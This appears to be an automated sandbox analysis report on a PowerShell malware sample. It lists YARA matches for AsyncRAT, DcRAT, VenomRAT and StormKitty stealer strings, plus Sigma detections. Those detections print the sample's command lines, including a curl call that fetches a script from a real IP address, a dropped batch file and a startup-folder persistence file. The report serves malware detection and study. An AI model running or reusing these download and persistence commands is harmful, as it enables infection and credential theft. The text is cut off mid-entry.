13.2.RegAsm.exe.400000.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28baa2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287c16:$s6: VirtualBox 0x297795:$s6: VirtualBox 0x2931b2:$s8: Win32_ComputerSystem 0x2976fb:$s8: Win32_ComputerSystem 0x2902de:$s9: Win32_Process Where ParentProcessID= 0x28fefb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28ff98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2900ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290195:$cnc4: POST / HTTP/1.1
5.2.powershell.exe.1c51061fcd8.11.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
5.2.powershell.exe.1c51061fcd8.11.raw.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
5.2.powershell.exe.1c51061fcd8.11.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.powershell.exe.1c51061fcd8.11.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.powershell.exe.1c51061fcd8.11.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
5.2.powershell.exe.1c51061fcd8.11.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
5.2.powershell.exe.1c51061fcd8.11.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241408:$a1: havecamera 0x53ee40:$a1: havecamera 0x28c232:$a2: timeout 3 > NUL 0x589c6a:$a2: timeout 3 > NUL 0x28f5b5:$a3: START "" " 0x28faca:$a3: START "" " 0x58cfed:$a3: START "" " 0x58d502:$a3: START "" " 0x28f9a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x58d3dd:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28fa42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x58d47a:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
5.2.powershell.exe.1c51061fcd8.11.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x29292c:$str01: Processe: 0x590364:$str01: Processe: 0x2927e8:$str02: Compname: 0x590220:$str02: Compname: 0x2928e2:$str04: SandBoxie: 0x59031a:$str04: SandBoxie: 0x292878:$str08: WEBCAMS COUNT: 0x5902b0:$str08: WEBCAMS COUNT: 0x29289c:$str09: [Virtualization] 0x5902d4:$str09: [Virtualization] 0x2930ea:$str10: [Open google maps]( 0x590b22:$str10: [Open google maps]( 0x294b61:$str11: Remember password: 0x592599:$str11: Remember password: 0x287c54:$str12: Target.Browsers.Firefox 0x58568c:$str12: Target.Browsers.Firefox 0x26f3cf:$str13: Modules.Keylogger 0x56ce07:$str13: Modules.Keylogger 0x277292:$str14: ClipperAddresses 0x574cca:$str14: ClipperAddresses 0x279437:$str15: ChromiumPswPaths
5.2.powershell.exe.1c51061fcd8.11.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x5db:$sk01: LimerBoy/StormKitty 0x2fe013:$sk01: LimerBoy/StormKitty 0x252952:$str01: set_sUsername 0x55038a:$str01: set_sUsername 0x25fe84:$str03: set_sExpMonth 0x55d8bc:$str03: set_sExpMonth 0x27523f:$str04: WritePasswords 0x572c77:$str04: WritePasswords 0x275cf9:$str05: WriteCookies 0x573731:$str05: WriteCookies 0x279448:$str06: sChromiumPswPaths 0x576e80:$str06: sChromiumPswPaths 0x279423:$str07: sGeckoBrowserPaths 0x576e5b:$str07: sGeckoBrowserPaths 0x28eacf:$str10: encrypted_key":"(.?)" 0x58c507:$str10: encrypted_key":"(.?)"
5.2.powershell.exe.1c51061fcd8.11.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28fa42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x58d47a:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x28bb12:$str04: Pac_ket 0x58954a:$str04: Pac_ket 0x29b858:$str05: Perfor_mance 0x599290:$str05: Perfor_mance 0x29b89c:$str06: Install_ed 0x5992d4:$str06: Install_ed 0x245f05:$str07: get_IsConnected 0x54393d:$str07: get_IsConnected 0x25c3ca:$str08: get_ActivatePo_ng 0x559e02:$str08: get_ActivatePo_ng 0x270305:$str09: isVM_by_wim_temper 0x56dd3d:$str09: isVM_by_wim_temper 0x29c14a:$str10: save_Plugin 0x599b82:$str10: save_Plugin 0x28c232:$str11: timeout 3 > NUL 0x589c6a:$str11: timeout 3 > NUL 0x29b438:$str12: ProcessHacker.exe 0x598e70:$str12: ProcessHacker.exe 0x29b62a:$str13: Select * from Win32_CacheMemory
5.2.powershell.exe.1c51061fcd8.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28fa42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x58d47a:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28f9a5:$s2: L2Mgc2NodGFza3MgL2 0x58d3dd:$s2: L2Mgc2NodGFza3MgL2
5.2.powershell.exe.1c51061fcd8.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29b62a:$q1: Select * from Win32_CacheMemory 0x599062:$q1: Select * from Win32_CacheMemory 0x29b66a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x5990a2:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x29b6b8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x5990f0:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x29b706:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x59913e:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
5.2.powershell.exe.1c51061fcd8.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293806:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x59123e:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
5.2.powershell.exe.1c51061fcd8.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2991a1:$s1: \VPN\NordVPN 0x596bd9:$s1: \VPN\NordVPN 0x299187:$s2: \VPN\OpenVPN 0x596bbf:$s2: \VPN\OpenVPN 0x299169:$s3: \VPN\ProtonVPN 0x596ba1:$s3: \VPN\ProtonVPN
5.2.powershell.exe.1c51061fcd8.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28deeb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x58b923:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28df5d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x58b995:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28dfe7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x58ba1f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28e079:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x58bab1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28e0e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x58bb1b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28e155:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x58bb8d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28e1eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x58bc23:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28e27b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x58bcb3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.powershell.exe.1c51061fcd8.11.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x2fe000:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x2fe01c:$x3: StormKitty 0x27dff4:$s2: GetAntivirus 0x57ba2c:$s2: GetAntivirus 0x29405a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x591a92:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28d4a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x58aedd:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28eacd:$s6: "encrypted_key":"(.?)" 0x58c505:$s6: "encrypted_key":"(.?)"
5.2.powershell.exe.1c51061fcd8.11.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x28baa2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x5894da:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x287c16:$s6: VirtualBox 0x297795:$s6: VirtualBox 0x58564e:$s6: VirtualBox 0x5951cd:$s6: VirtualBox 0x2931b2:$s8: Win32_ComputerSystem 0x2976fb:$s8: Win32_ComputerSystem 0x590bea:$s8: Win32_ComputerSystem 0x595133:$s8: Win32_ComputerSystem 0x2902de:$s9: Win32_Process Where ParentProcessID= 0x58dd16:$s9: Win32_Process Where ParentProcessID= 0x28fefb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x58d933:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28ff98:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x58d9d0:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2900ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x58dae5:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x290195:$cnc4: POST / HTTP/1.1 0x58dbcd:$cnc4: POST / HTTP/1.1
5.2.powershell.exe.1c510743a62.8.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
5.2.powershell.exe.1c510743a62.8.raw.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
5.2.powershell.exe.1c510743a62.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.powershell.exe.1c510743a62.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.powershell.exe.1c510743a62.8.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
5.2.powershell.exe.1c510743a62.8.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
5.2.powershell.exe.1c510743a62.8.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x41b0b6:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x465ee0:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x469263:$a3: START "" " 0x469778:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x469653:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x4696f0:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
5.2.powershell.exe.1c510743a62.8.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x46c5da:$str01: Processe: 0x16ea5e:$str02: Compname: 0x46c496:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x46c590:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x46c526:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x46c54a:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x46cd98:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x46e80f:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x461902:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x44907d:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x450f40:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths
5.2.powershell.exe.1c510743a62.8.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x1da289:$sk01: LimerBoy/StormKitty 0x12ebc8:$str01: set_sUsername 0x42c600:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x439b32:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x44eeed:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x44f9a7:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x4530f6:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x4530d1:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.?)" 0x46877d:$str10: encrypted_key":"(.?)"
5.2.powershell.exe.1c510743a62.8.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x4696f0:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x4657c0:$str04: Pac_ket 0x177ace:$str05: Perfor_mance 0x475506:$str05: Perfor_mance 0x177b12:$str06: Install_ed 0x47554a:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x41fbb3:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x436078:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x449fb3:$str09: isVM_by_wim_temper 0x1783c0:$str10: save_Plugin 0x475df8:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x465ee0:$str11: timeout 3 > NUL 0x1776ae:$str12: ProcessHacker.exe 0x4750e6:$str12: ProcessHacker.exe 0x1778a0:$str13: Select * from Win32_CacheMemory
5.2.powershell.exe.1c510743a62.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x4696f0:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2 0x469653:$s2: L2Mgc2NodGFza3MgL2
5.2.powershell.exe.1c510743a62.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778a0:$q1: Select * from Win32_CacheMemory 0x4752d8:$q1: Select * from Win32_CacheMemory 0x1778e0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x475318:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17792e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x475366:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17797c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851} 0x4753b4:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
5.2.powershell.exe.1c510743a62.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x46d4b4:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
5.2.powershell.exe.1c510743a62.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x472e4f:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x472e35:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN 0x472e17:$s3: \VPN\ProtonVPN
5.2.powershell.exe.1c510743a62.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x467b99:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x467c0b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x467c95:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x467d27:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x467d91:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x467e03:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x467e99:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x467f29:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.powershell.exe.1c510743a62.8.raw.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x1da276:$x2: https://github.com/LimerBoy/StormKitty 0x1da292:$x3: StormKitty 0x15a26a:$s2: GetAntivirus 0x457ca2:$s2: GetAntivirus 0x1702d0:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x46dd08:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x16971b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x467153:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x16ad43:$s6: "encrypted_key":"(.?)" 0x46877b:$s6: "encrypted_key":"(.?)"
5.2.powershell.exe.1c510743a62.8.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x465750:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x4618c4:$s6: VirtualBox 0x471443:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x46ce60:$s8: Win32_ComputerSystem 0x4713a9:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x469f8c:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x469ba9:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x469c46:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x469d5b:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1 0x469e43:$cnc4: POST / HTTP/1.1
5.2.powershell.exe.1c501b214a6.5.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x17baea:$x2: https://github.com/LimerBoy/StormKitty 0x17bb06:$x3: StormKitty
Click to see the 115 entries

Sigma Signatures

System Summary

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7312, TargetFilename: C:\Windows\Temp\Package.bat

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\CKi4EZWZsC.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\CKi4EZWZsC.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\CKi4EZWZsC.ps1", ProcessId: 7312, ProcessName: powershell.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7580, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.cmdline", ProcessId: 7712, ProcessName: csc.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7312, TargetFilename: C:\Windows\Temp\Package.bat

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/trwx.ps1 , CommandLine: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/trwx.ps1 , CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Package.bat" , ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7556, ParentProcessName: cmd.exe, ProcessCommandLine: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/trwx.ps1 , ProcessId: 7572, ProcessName: cmd.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7580, TargetFilename: C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\CKi4EZWZsC.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\CKi4EZWZsC.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\CKi4EZWZsC.ps1", ProcessId: 7312, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7312, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

